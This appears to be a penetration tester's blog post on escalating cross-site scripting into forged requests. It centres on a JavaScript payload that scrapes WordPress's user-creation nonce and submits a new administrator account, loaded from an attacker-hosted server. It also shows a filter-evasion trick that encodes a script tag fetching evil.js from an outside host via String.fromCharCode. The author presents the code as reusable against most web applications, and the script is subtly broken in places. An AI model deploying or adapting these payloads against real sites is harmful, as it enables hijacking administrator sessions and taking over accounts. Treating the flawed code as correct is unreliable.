When identifying XSS (Cross-site Scripting) within a target application, I often choose to go beyond a proof-of-concept exploit such as popping an alert box. I find that the best payloads are those which exploit functionality within the application which require authentication, such as adding a new user when logged in as an administrator. Other useful payloads will largely depend on the application, such as buying a product in a shopping application or bidding on an item in an auction. These attacks are effectively a form of CSRF (Cross-site Request Forgery). In most modern applications, CSRF attacks are prevented with CSRF tokens. If the application has a XSS vulnerability this protection can usually be bypassed.
Below is an example of an XSS payload which bypasses CSRF protection and adds a user within WordPress. This will work is executed by an authenticated administrator.
//Use this to exploit XSS to compromise the application.
// just use the XSS payload of <script src=http://[MY_EVIL_SERVER]/add_admin.js>
//Host this file on your server
url = "http://[TARGET]/wp-admin/user-new.php";
var login = "";
var pass = "";
var email = "";
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( "GET", url, false ); // false for synchronous request
xmlHttp.send( null );
var all = httpGet(url);
var nonce = all.split("name=\"_wpnonce_create-user\" value=\"");
var nonce = nonce.slice(0, 10);
var http = new XMLHttpRequest();
var params = "action=createuser&_wpnonce_create-user=" + nonce + "&_wp_http_referer=%2Fwp-admin%2Fuser-new.php&user_login=" + login + "&email=" + email + "&first_name=&last_name=&url=&pass1=" + pass + "&pass1-text=" + pass + "&pass2=" + pass + "&pw_weak=on&role=administrator&createuser=Add+New+User";
http.open("POST", url, true);
The breakdown of this .js file is as follows:
- Request the user-new.php page on the target domain
- Read the HTML and identify the CSRF token “_wpnonce_create-user”
- Parse out this variable and store it as “nonce”
- send a POST request with the details of the new user to be added, suppling the extracted nonce in the “_wpnonce_create-user” parameter.
I have used this code to perform similar attacks against other applications. By simply changing the URL, POST parameters, and nonce location this can be re-purposed to work against most web applications.
I have run into instances within an application where XSS payloads were being heavily filtered, however I was able to smuggle a payload into a event handler via a parameter.
A request like:
would result in:
<body onLoad="window.print() ; location.assign('https://[DOMAIN].com/parameter?value='|alert(1)|'')">
within the HTML, which would execute the alert payload.
A few lines of python can be used to create a suitable payload:
>> payload = "<script src='https://www.n00py.io/evil.js'></script>"
>>> inject = 'document.write(String.fromCharCode('+",".join([str(ord(n)) for n in payload])+'))'
If were swap out the alert(1) payload with the value of “inject” above, our payload will do the following:
- Convert the charcode array into a string (<script src=’https://www.n00py.io/evil.js’></script>)
- Write the script tag into the webpage upon execution
- The script tag will pull down an external script an execute it
- The external script would perform the CSRF bypass
By using the String.fromCharCode function, any payload can be written into the page without concern for blacklisted strings on restrictions on special characters. It is also important to host your malicious .js file over HTTPS. If a XSS vulnerability is found on a website running HTTPS you will need the payload to also be hosted over HTTPS to avoid being blocked for mixed content.